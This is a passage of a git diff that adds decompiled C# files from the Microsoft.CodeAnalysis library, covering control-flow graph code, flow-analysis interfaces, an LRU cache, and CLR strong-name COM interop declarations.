== SymbolKind.Property + select (IPropertySymbol)m; + int num; + if (setsAllProperties(initializers, enumerable)) + { + num = -1; + AddStatement(VisitRequired(withOperation.Operand)); + } + else + { + num = GetNextCaptureId(regionBuilder); + VisitAndCapture(withOperation.Operand, num); + } + LeaveRegionsUpTo(regionBuilder); + Dictionary dictionary = new Dictionary(SymbolEqualityComparer.IgnoreAll); + ArrayBuilder instance = ArrayBuilder.GetInstance(initializers.Length); + ImmutableArray.Enumerator enumerator = initializers.GetEnumerator(); + while (enumerator.MoveNext()) + { + IOperation current = enumerator.Current; + if (!(current is ISimpleAssignmentOperation simpleAssignmentOperation)) + { + AddStatement(VisitRequired(current)); + } + else if (simpleAssignmentOperation.Target.Kind != OperationKind.PropertyReference) + { + AddStatement(VisitRequired(simpleAssignmentOperation.Value)); + } + else + { + IPropertySymbol property = ((IPropertyReferenceOperation)simpleAssignmentOperation.Target).Property; + if (dictionary.ContainsKey(property)) + { + AddStatement(VisitRequired(simpleAssignmentOperation.Value)); + } + else + { + int nextCaptureId = GetNextCaptureId(currentRegionRequired); + VisitAndCapture(simpleAssignmentOperation.Value, nextCaptureId); + LeaveRegionsUpTo(regionBuilder); + FlowCaptureReferenceOperation capturedValue = new FlowCaptureReferenceOperation(nextCaptureId, withOperation.Operand.Syntax, withOperation.Operand.Type, withOperation.Operand.GetConstantValue()); + SimpleAssignmentOperation value = makeAssignment(property, capturedValue, withOperation); + dictionary.Add(property, value); + } + } + } + _ = (INamedTypeSymbol)withOperation.Type; + foreach (IPropertySymbol item in enumerable) + { + if (dictionary.TryGetValue(item, out var value2)) + { + instance.Add(value2); + } + else + { + FlowCaptureReferenceOperation instance2 = new FlowCaptureReferenceOperation(num, withOperation.Operand.Syntax, withOperation.Operand.Type, withOperation.Operand.GetConstantValue()); + PropertyReferenceOperation value3 = new PropertyReferenceOperation(item, null, ImmutableArray.Empty, instance2, null, withOperation.Syntax, item.Type, isImplicit: true); + int nextCaptureId2 = GetNextCaptureId(currentRegionRequired); + AddStatement(new FlowCaptureOperation(nextCaptureId2, withOperation.Syntax, value3)); + FlowCaptureReferenceOperation capturedValue2 = new FlowCaptureReferenceOperation(nextCaptureId2, withOperation.Operand.Syntax, withOperation.Operand.Type, withOperation.Operand.GetConstantValue()); + value2 = makeAssignment(item, capturedValue2, withOperation); + instance.Add(value2); + } + } + LeaveRegionsUpTo(currentRegionRequired); + return new AnonymousObjectCreationOperation(instance.ToImmutableAndFree(), null, withOperation.Syntax, withOperation.Type, withOperation.IsImplicit); + } + static SimpleAssignmentOperation makeAssignment(IPropertySymbol property, IOperation capturedValue, WithOperation withOperation) + { + InstanceReferenceOperation instance = new InstanceReferenceOperation(InstanceReferenceKind.ImplicitReceiver, null, withOperation.Syntax, withOperation.Type, isImplicit: true); + PropertyReferenceOperation target = new PropertyReferenceOperation(property, null, ImmutableArray.Empty, instance, null, withOperation.Syntax, property.Type, isImplicit: true); + return new SimpleAssignmentOperation(isRef: false, target, capturedValue, null, withOperation.Syntax, property.Type, null, isImplicit: true); + } + static bool setsAllProperties(ImmutableArray initializers, IEnumerable properties) + { + HashSet hashSet = new HashSet(SymbolEqualityComparer.IgnoreAll); + ImmutableArray.Enumerator enumerator = initializers.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is ISimpleAssignmentOperation simpleAssignmentOperation && simpleAssignmentOperation.Target.Kind == OperationKind.PropertyReference) + { + IPropertyReferenceOperation propertyReferenceOperation = (IPropertyReferenceOperation)simpleAssignmentOperation.Target; + hashSet.Add(propertyReferenceOperation.Property); + } + } + return hashSet.Count == properties.Count(); + } + } + + public override IOperation VisitAttribute(IAttributeOperation operation, int? captureIdForResult) + { + return new AttributeOperation(Visit(operation.Operation, captureIdForResult), null, operation.Syntax, IsImplicit(operation)); + } + + [Conditional("DEBUG")] + [MemberNotNull("_currentInterpolatedStringHandlerCreationContext")] + private void AssertContainingContextIsForThisCreation(IOperation placeholderOperation, bool assertArgumentContext) + { + IOperation parent = placeholderOperation.Parent; + while ((parent != null && !(parent is IInterpolatedStringHandlerCreationOperation)) || 1 == 0) + { + parent = parent.Parent; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/ControlFlowGraphExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/ControlFlowGraphExtensions.cs new file mode 100644 index 0000000..b55ed2f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/ControlFlowGraphExtensions.cs @@ -0,0 +1,51 @@ +using System; +using System.Threading; + +namespace Microsoft.CodeAnalysis.FlowAnalysis; + +public static class ControlFlowGraphExtensions +{ + public static ControlFlowGraph GetLocalFunctionControlFlowGraphInScope(this ControlFlowGraph controlFlowGraph, IMethodSymbol localFunction, CancellationToken cancellationToken = default(CancellationToken)) + { + if (controlFlowGraph == null) + { + throw new ArgumentNullException("controlFlowGraph"); + } + if (localFunction == null) + { + throw new ArgumentNullException("localFunction"); + } + ControlFlowGraph controlFlowGraph2 = controlFlowGraph; + do + { + if (controlFlowGraph2.TryGetLocalFunctionControlFlowGraph(localFunction, out ControlFlowGraph controlFlowGraph3)) + { + return controlFlowGraph3; + } + } + while ((controlFlowGraph2 = controlFlowGraph2.Parent) != null); + throw new ArgumentOutOfRangeException("localFunction"); + } + + public static ControlFlowGraph GetAnonymousFunctionControlFlowGraphInScope(this ControlFlowGraph controlFlowGraph, IFlowAnonymousFunctionOperation anonymousFunction, CancellationToken cancellationToken = default(CancellationToken)) + { + if (controlFlowGraph == null) + { + throw new ArgumentNullException("controlFlowGraph"); + } + if (anonymousFunction == null) + { + throw new ArgumentNullException("anonymousFunction"); + } + ControlFlowGraph controlFlowGraph2 = controlFlowGraph; + do + { + if (controlFlowGraph2.TryGetAnonymousFunctionControlFlowGraph(anonymousFunction, out ControlFlowGraph controlFlowGraph3)) + { + return controlFlowGraph3; + } + } + while ((controlFlowGraph2 = controlFlowGraph2.Parent) != null); + throw new ArgumentOutOfRangeException("anonymousFunction"); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/ControlFlowRegion.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/ControlFlowRegion.cs new file mode 100644 index 0000000..aa25db4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/ControlFlowRegion.cs @@ -0,0 +1,51 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.FlowAnalysis; + +public sealed class ControlFlowRegion +{ + public ControlFlowRegionKind Kind { get; } + + public ControlFlowRegion? EnclosingRegion { get; private set; } + + public ITypeSymbol? ExceptionType { get; } + + public int FirstBlockOrdinal { get; } + + public int LastBlockOrdinal { get; } + + public ImmutableArray NestedRegions { get; } + + public ImmutableArray Locals { get; } + + public ImmutableArray LocalFunctions { get; } + + public ImmutableArray CaptureIds { get; } + + internal ControlFlowRegion(ControlFlowRegionKind kind, int firstBlockOrdinal, int lastBlockOrdinal, ImmutableArray nestedRegions, ImmutableArray locals, ImmutableArray methods, ImmutableArray captureIds, ITypeSymbol? exceptionType, ControlFlowRegion? enclosingRegion) + { + Kind = kind; + FirstBlockOrdinal = firstBlockOrdinal; + LastBlockOrdinal = lastBlockOrdinal; + ExceptionType = exceptionType; + Locals = locals.NullToEmpty(); + LocalFunctions = methods.NullToEmpty(); + CaptureIds = captureIds.NullToEmpty(); + NestedRegions = nestedRegions.NullToEmpty(); + EnclosingRegion = enclosingRegion; + ImmutableArray.Enumerator enumerator = NestedRegions.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.EnclosingRegion = this; + } + } + + internal bool ContainsBlock(int destinationOrdinal) + { + if (FirstBlockOrdinal <= destinationOrdinal) + { + return LastBlockOrdinal >= destinationOrdinal; + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/ControlFlowRegionKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/ControlFlowRegionKind.cs new file mode 100644 index 0000000..6059f60 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/ControlFlowRegionKind.cs @@ -0,0 +1,16 @@ +namespace Microsoft.CodeAnalysis.FlowAnalysis; + +public enum ControlFlowRegionKind +{ + Root, + LocalLifetime, + Try, + Filter, + Catch, + FilterAndHandler, + TryAndCatch, + Finally, + TryAndFinally, + StaticLocalInitializer, + ErroneousBody +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/ICaughtExceptionOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/ICaughtExceptionOperation.cs new file mode 100644 index 0000000..e78d007 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/ICaughtExceptionOperation.cs @@ -0,0 +1,5 @@ +namespace Microsoft.CodeAnalysis.FlowAnalysis; + +public interface ICaughtExceptionOperation : IOperation +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/IFlowAnonymousFunctionOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/IFlowAnonymousFunctionOperation.cs new file mode 100644 index 0000000..d5aa7fe --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/IFlowAnonymousFunctionOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.FlowAnalysis; + +public interface IFlowAnonymousFunctionOperation : IOperation +{ + IMethodSymbol Symbol { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/IFlowCaptureOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/IFlowCaptureOperation.cs new file mode 100644 index 0000000..d168217 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/IFlowCaptureOperation.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.FlowAnalysis; + +public interface IFlowCaptureOperation : IOperation +{ + CaptureId Id { get; } + + IOperation Value { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/IFlowCaptureReferenceOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/IFlowCaptureReferenceOperation.cs new file mode 100644 index 0000000..423f3d2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/IFlowCaptureReferenceOperation.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.FlowAnalysis; + +public interface IFlowCaptureReferenceOperation : IOperation +{ + CaptureId Id { get; } + + bool IsInitialization { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/IIsNullOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/IIsNullOperation.cs new file mode 100644 index 0000000..1f598d8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/IIsNullOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.FlowAnalysis; + +public interface IIsNullOperation : IOperation +{ + IOperation Operand { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/IStaticLocalInitializationSemaphoreOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/IStaticLocalInitializationSemaphoreOperation.cs new file mode 100644 index 0000000..fee7a31 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.FlowAnalysis/IStaticLocalInitializationSemaphoreOperation.cs @@ -0,0 +1,6 @@ +namespace Microsoft.CodeAnalysis.FlowAnalysis; + +public interface IStaticLocalInitializationSemaphoreOperation : IOperation +{ + ILocalSymbol Local { get; } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Internal.Strings.resx b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Internal.Strings.resx new file mode 100644 index 0000000..428b737 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Internal.Strings.resx @@ -0,0 +1,59 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089The lower bound of target array must be zero. + Target array type is not compatible with the type of items in the collection. + Collection was of a fixed size. + Collection was modified; enumeration operation may not execute. + Number was less than the array's lower bound in the first dimension. + Destination array is not long enough to copy all the items in the collection. Check array index and length. + Failed to compare two elements in the array. + An item with the same key has already been added. Key: {0} + The specified arrays must have the same number of dimensions. + Offset and length were out of bounds for the array or count is greater than the number of elements from index to the end of the source collection. + Unable to sort because the IComparer.Compare() method returns inconsistent results. Either a value does not compare equal to itself, or one value repeatedly compared to another value yields different results. IComparer: '{0}'. + Count must be positive and count must refer to a location within the string/array/collection. + Index was out of range. Must be non-negative and less than the size of the collection. + Object is not a array with the same number of elements as the array to compare it to. + capacity was less than the current size. + Only single dimensional arrays are supported for the requested action. + Mutating a value collection derived from a dictionary is not allowed. + Larger than collection size. + Index must be within the bounds of the List. + Non-negative number required. + Cannot find the old value + Operations that change non-concurrent collections must have exclusive access. A concurrent update was performed on this collection and corrupted its state. The collection's state is no longer correct. + The given key '{0}' was not present in the dictionary. + Mutating a key collection derived from a dictionary is not allowed. + Destination array was not long enough. Check the destination index, length, and the array's lower bounds. + Hashtable's capacity overflowed and went negative. Check load factor, capacity and the current size of the table. + Source array was not long enough. Check the source index, length, and the array's lower bounds. + The value "{0}" is not of type "{1}" and cannot be used in this generic collection. + Enumeration has either not started or has already finished. + \ No newline at end of file diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Internal/Strings.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Internal/Strings.cs new file mode 100644 index 0000000..579cf96 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Internal/Strings.cs @@ -0,0 +1,5 @@ +namespace Microsoft.CodeAnalysis.Internal; + +internal static class Strings +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.InternalUtilities/ConcurrentLruCache.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.InternalUtilities/ConcurrentLruCache.cs new file mode 100644 index 0000000..76676a4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.InternalUtilities/ConcurrentLruCache.cs @@ -0,0 +1,201 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; + +namespace Microsoft.CodeAnalysis.InternalUtilities; + +internal class ConcurrentLruCache where K : notnull where V : notnull +{ + private struct CacheValue + { + public V Value; + + public LinkedListNode Node; + } + + private readonly int _capacity; + + private readonly Dictionary _cache; + + private readonly LinkedList _nodeList; + + private readonly object _lockObject = new object(); + + internal IEnumerable> TestingEnumerable + { + get + { + lock (_lockObject) + { + KeyValuePair[] array = new KeyValuePair[_cache.Count]; + int num = 0; + foreach (K node in _nodeList) + { + array[num++] = new KeyValuePair(node, _cache[node].Value); + } + return array; + } + } + } + + public V this[K key] + { + get + { + if (TryGetValue(key, out var value)) + { + return value; + } + throw new KeyNotFoundException(); + } + set + { + lock (_lockObject) + { + UnsafeAdd(key, value, throwExceptionIfKeyExists: false); + } + } + } + + public ConcurrentLruCache(int capacity) + { + if (capacity <= 0) + { + throw new ArgumentOutOfRangeException("capacity"); + } + _capacity = capacity; + _cache = new Dictionary(capacity); + _nodeList = new LinkedList(); + } + + public ConcurrentLruCache(KeyValuePair[] array) + : this(array.Length) + { + for (int i = 0; i < array.Length; i++) + { + KeyValuePair keyValuePair = array[i]; + UnsafeAdd(keyValuePair.Key, keyValuePair.Value, throwExceptionIfKeyExists: true); + } + } + + public void Add(K key, V value) + { + lock (_lockObject) + { + UnsafeAdd(key, value, throwExceptionIfKeyExists: true); + } + } + + private void MoveNodeToTop(LinkedListNode node) + { + if (_nodeList.First != node) + { + _nodeList.Remove(node); + _nodeList.AddFirst(node); + } + } + + private void UnsafeEvictLastNode() + { + LinkedListNode last = _nodeList.Last; + _nodeList.Remove(last); + _cache.Remove(last.Value); + } + + private void UnsafeAddNodeToTop(K key, V value) + { + LinkedListNode node = new LinkedListNode(key); + _cache.Add(key, new CacheValue + { + Node = node, + Value = value + }); + _nodeList.AddFirst(node); + } + + private void UnsafeAdd(K key, V value, bool throwExceptionIfKeyExists) + { + if (_cache.TryGetValue(key, out var value2)) + { + if (throwExceptionIfKeyExists) + { + throw new ArgumentException("Key already exists", "key"); + } + if (!value2.Value.Equals(value)) + { + value2.Value = value; + _cache[key] = value2; + MoveNodeToTop(value2.Node); + } + } + else + { + if (_cache.Count == _capacity) + { + UnsafeEvictLastNode(); + } + UnsafeAddNodeToTop(key, value); + } + } + + public bool TryGetValue(K key, [MaybeNullWhen(false)] out V value) + { + lock (_lockObject) + { + return UnsafeTryGetValue(key, out value); + } + } + + public bool UnsafeTryGetValue(K key, [MaybeNullWhen(false)] out V value) + { + if (_cache.TryGetValue(key, out var value2)) + { + MoveNodeToTop(value2.Node); + value = value2.Value; + return true; + } + value = default(V); + return false; + } + + public V GetOrAdd(K key, V value) + { + lock (_lockObject) + { + if (UnsafeTryGetValue(key, out var value2)) + { + return value2; + } + UnsafeAdd(key, value, throwExceptionIfKeyExists: true); + return value; + } + } + + public V GetOrAdd(K key, Func creator) + { + lock (_lockObject) + { + if (UnsafeTryGetValue(key, out var value)) + { + return value; + } + V val = creator(); + UnsafeAdd(key, val, throwExceptionIfKeyExists: true); + return val; + } + } + + public V GetOrAdd(K key, T arg, Func creator) + { + lock (_lockObject) + { + if (UnsafeTryGetValue(key, out var value)) + { + return value; + } + V val = creator(arg); + UnsafeAdd(key, val, throwExceptionIfKeyExists: true); + return val; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Interop/ClrStrongName.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Interop/ClrStrongName.cs new file mode 100644 index 0000000..36fd104 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Interop/ClrStrongName.cs @@ -0,0 +1,34 @@ +using System; +using System.Runtime.InteropServices; + +namespace Microsoft.CodeAnalysis.Interop; + +internal static class ClrStrongName +{ + [DllImport("mscoree.dll", EntryPoint = "CLRCreateInstance", PreserveSig = false)] + [return: MarshalAs(UnmanagedType.Interface)] + private static extern object nCreateInterface([MarshalAs(UnmanagedType.LPStruct)] Guid clsid, [MarshalAs(UnmanagedType.LPStruct)] Guid riid); + + internal static IClrStrongName GetInstance() + { + Guid clsid = new Guid(-1837098867, 3726, 18535, 179, 12, 127, 168, 56, 132, 232, 222); + Guid riid = new Guid(-751641698, -17997, 16677, 130, 7, 161, 72, 132, 245, 50, 22); + Guid coClassId = new Guid(-1214575923, -2611, 16539, 181, 165, 161, 98, 68, 97, 11, 146); + Guid interfaceId = new Guid(-1120284206, -17873, 18538, 137, 176, 180, 176, 203, 70, 104, 145); + Guid interfaceId2 = new Guid(-1613153073, 12928, 17297, 179, 169, 150, 225, 205, 231, 124, 141); + return (IClrStrongName)((IClrRuntimeInfo)((IClrMetaHost)nCreateInterface(clsid, riid)).GetRuntime(GetRuntimeVersion(), interfaceId)).GetInterface(coClassId, interfaceId2); + } + + internal static string GetRuntimeVersion() + { + if (!string.IsNullOrEmpty(Environment.GetEnvironmentVariable("COMPLUS_InstallRoot"))) + { + string environmentVariable = Environment.GetEnvironmentVariable("COMPLUS_Version"); + if (!string.IsNullOrEmpty(environmentVariable)) + { + return environmentVariable; + } + } + return "v4.0.30319"; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Interop/IClrMetaHost.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Interop/IClrMetaHost.cs new file mode 100644 index 0000000..a996997 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Interop/IClrMetaHost.cs @@ -0,0 +1,33 @@ +using System; +using System.Runtime.InteropServices; +using System.Security; +using System.Text; + +namespace Microsoft.CodeAnalysis.Interop; + +[ComImport] +[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] +[Guid("D332DB9E-B9B3-4125-8207-A14884F53216")] +[SuppressUnmanagedCodeSecurity] +internal interface IClrMetaHost +{ + [return: MarshalAs(UnmanagedType.Interface)] + object GetRuntime([In][MarshalAs(UnmanagedType.LPWStr)] string version, [In][MarshalAs(UnmanagedType.LPStruct)] Guid interfaceId); + + [PreserveSig] + int GetVersionFromFile([In][MarshalAs(UnmanagedType.LPWStr)] string filePath, [Out][MarshalAs(UnmanagedType.LPWStr)] StringBuilder buffer, [In][Out][MarshalAs(UnmanagedType.U4)] ref int bufferLength); + + [return: MarshalAs(UnmanagedType.Interface)] + object EnumerateInstalledRuntimes(); + + [return: MarshalAs(UnmanagedType.Interface)] + object EnumerateLoadedRuntimes([In] IntPtr processHandle); + + [PreserveSig] + int Reserved01([In] IntPtr reserved1); + + [return: MarshalAs(UnmanagedType.Interface)] + object QueryLegacyV2RuntimeBinding([In][MarshalAs(UnmanagedType.LPStruct)] Guid interfaceId); + + void ExitProcess([In][MarshalAs(UnmanagedType.U4)] int exitCode); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Interop/IClrRuntimeInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Interop/IClrRuntimeInfo.cs new file mode 100644 index 0000000..8b6ff0b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Interop/IClrRuntimeInfo.cs @@ -0,0 +1,44 @@ +using System; +using System.Runtime.InteropServices; +using System.Security; +using System.Text; + +namespace Microsoft.CodeAnalysis.Interop; + +[ComImport] +[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] +[Guid("BD39D1D2-BA2F-486A-89B0-B4B0CB466891")] +[SuppressUnmanagedCodeSecurity] +internal interface IClrRuntimeInfo +{ + [PreserveSig] + int GetVersionString([Out][MarshalAs(UnmanagedType.LPWStr)] StringBuilder buffer, [In][Out][MarshalAs(UnmanagedType.U4)] ref int bufferLength); + + [PreserveSig] + int GetRuntimeDirectory([Out][MarshalAs(UnmanagedType.LPWStr)] StringBuilder buffer, [In][Out][MarshalAs(UnmanagedType.U4)] ref int bufferLength); + + [return: MarshalAs(UnmanagedType.Bool)] + bool IsLoaded([In] IntPtr processHandle); + + [PreserveSig] + int LoadErrorString([In][MarshalAs(UnmanagedType.U4)] int resourceId, [Out][MarshalAs(UnmanagedType.LPWStr)] StringBuilder buffer, [In][Out][MarshalAs(UnmanagedType.U4)] ref int bufferLength); + + IntPtr LoadLibrary([In][MarshalAs(UnmanagedType.LPWStr)] string dllName); + + IntPtr GetProcAddress([In][MarshalAs(UnmanagedType.LPStr)] string procName); + + [return: MarshalAs(UnmanagedType.Interface)] + object GetInterface([In][MarshalAs(UnmanagedType.LPStruct)] Guid coClassId, [In][MarshalAs(UnmanagedType.LPStruct)] Guid interfaceId); + + [return: MarshalAs(UnmanagedType.Bool)] + bool IsLoadable(); + + void SetDefaultStartupFlags([In][MarshalAs(UnmanagedType.U4)] int startupFlags, [In][MarshalAs(UnmanagedType.LPStr)] string hostConfigFile); + + [PreserveSig] + int GetDefaultStartupFlags([MarshalAs(UnmanagedType.U4)] out int startupFlags, [Out][MarshalAs(UnmanagedType.LPWStr)] StringBuilder hostConfigFile, [In][Out][MarshalAs(UnmanagedType.U4)] ref int hostConfigFileLength); + + void BindAsLegacyV2Runtime(); + + void IsStarted([MarshalAs(UnmanagedType.Bool)] out bool started, [MarshalAs(UnmanagedType.U4)] out int startupFlags); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Interop/IClrStrongName.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Interop/IClrStrongName.cs new file mode 100644 index 0000000..211e62c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Interop/IClrStrongName.cs @@ -0,0 +1,67 @@ +using System; +using System.Runtime.InteropServices; +using System.Security; + +namespace Microsoft.CodeAnalysis.Interop; + +[ComImport] +[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] +[Guid("9FD93CCF-3280-4391-B3A9-96E1CDE77C8D")] +[SuppressUnmanagedCodeSecurity] +internal interface IClrStrongName +{ + void GetHashFromAssemblyFile([In][MarshalAs(UnmanagedType.LPStr)] string pszFilePath, [In][Out][MarshalAs(UnmanagedType.U4)] ref int piHashAlg, [Out][MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 4)] byte[] pbHash, [In][MarshalAs(UnmanagedType.U4)] int cchHash, [MarshalAs(UnmanagedType.U4)] out int pchHash); + + void GetHashFromAssemblyFileW([In][MarshalAs(UnmanagedType.LPWStr)] string pwzFilePath, [In][Out][MarshalAs(UnmanagedType.U4)] ref int piHashAlg, [Out][MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 4)] byte[] pbHash, [In][MarshalAs(UnmanagedType.U4)] int cchHash, [MarshalAs(UnmanagedType.U4)] out int pchHash); + + void GetHashFromBlob([In] IntPtr pbBlob, [In][MarshalAs(UnmanagedType.U4)] int cchBlob, [In][Out][MarshalAs(UnmanagedType.U4)] ref int piHashAlg, [Out][MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 5)] byte[] pbHash, [In][MarshalAs(UnmanagedType.U4)] int cchHash, [MarshalAs(UnmanagedType.U4)] out int pchHash); + + void GetHashFromFile([In][MarshalAs(UnmanagedType.LPStr)] string pszFilePath, [In][Out][MarshalAs(UnmanagedType.U4)] ref int piHashAlg, [Out][MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 4)] byte[] pbHash, [In][MarshalAs(UnmanagedType.U4)] int cchHash, [MarshalAs(UnmanagedType.U4)] out int pchHash); + + void GetHashFromFileW([In][MarshalAs(UnmanagedType.LPWStr)] string pwzFilePath, [In][Out][MarshalAs(UnmanagedType.U4)] ref int piHashAlg, [Out][MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 4)] byte[] pbHash, [In][MarshalAs(UnmanagedType.U4)] int cchHash, [MarshalAs(UnmanagedType.U4)] out int pchHash); + + void GetHashFromHandle([In] IntPtr hFile, [In][Out][MarshalAs(UnmanagedType.U4)] ref int piHashAlg, [Out][MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 4)] byte[] pbHash, [In][MarshalAs(UnmanagedType.U4)] int cchHash, [MarshalAs(UnmanagedType.U4)] out int pchHash); + + [return: MarshalAs(UnmanagedType.U4)] + int StrongNameCompareAssemblies([In][MarshalAs(UnmanagedType.LPWStr)] string pwzAssembly1, [In][MarshalAs(UnmanagedType.LPWStr)] string pwzAssembly2); + + void StrongNameFreeBuffer([In] IntPtr pbMemory); + + void StrongNameGetBlob([In][MarshalAs(UnmanagedType.LPWStr)] string pwzFilePath, [Out][MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 2)] byte[] pbBlob, [In][Out][MarshalAs(UnmanagedType.U4)] ref int pcbBlob); + + void StrongNameGetBlobFromImage([In] IntPtr pbBase, [In][MarshalAs(UnmanagedType.U4)] int dwLength, [Out][MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 3)] byte[] pbBlob, [In][Out][MarshalAs(UnmanagedType.U4)] ref int pcbBlob); + + void StrongNameGetPublicKey([In][MarshalAs(UnmanagedType.LPWStr)] string pwzKeyContainer, [In] IntPtr pbKeyBlob, [In][MarshalAs(UnmanagedType.U4)] int cbKeyBlob, out IntPtr ppbPublicKeyBlob, [MarshalAs(UnmanagedType.U4)] out int pcbPublicKeyBlob); + + [return: MarshalAs(UnmanagedType.U4)] + int StrongNameHashSize([In][MarshalAs(UnmanagedType.U4)] int ulHashAlg); + + void StrongNameKeyDelete([In][MarshalAs(UnmanagedType.LPWStr)] string pwzKeyContainer); + + void StrongNameKeyGen([In][MarshalAs(UnmanagedType.LPWStr)] string pwzKeyContainer, [In][MarshalAs(UnmanagedType.U4)] int dwFlags, out IntPtr ppbKeyBlob, [MarshalAs(UnmanagedType.U4)] out int pcbKeyBlob); + + void StrongNameKeyGenEx([In][MarshalAs(UnmanagedType.LPWStr)] string pwzKeyContainer, [In][MarshalAs(UnmanagedType.U4)] int dwFlags, [In][MarshalAs(UnmanagedType.U4)] int dwKeySize, out IntPtr ppbKeyBlob, [MarshalAs(UnmanagedType.U4)] out int pcbKeyBlob); + + void StrongNameKeyInstall([In][MarshalAs(UnmanagedType.LPWStr)] string pwzKeyContainer, [In] IntPtr pbKeyBlob, 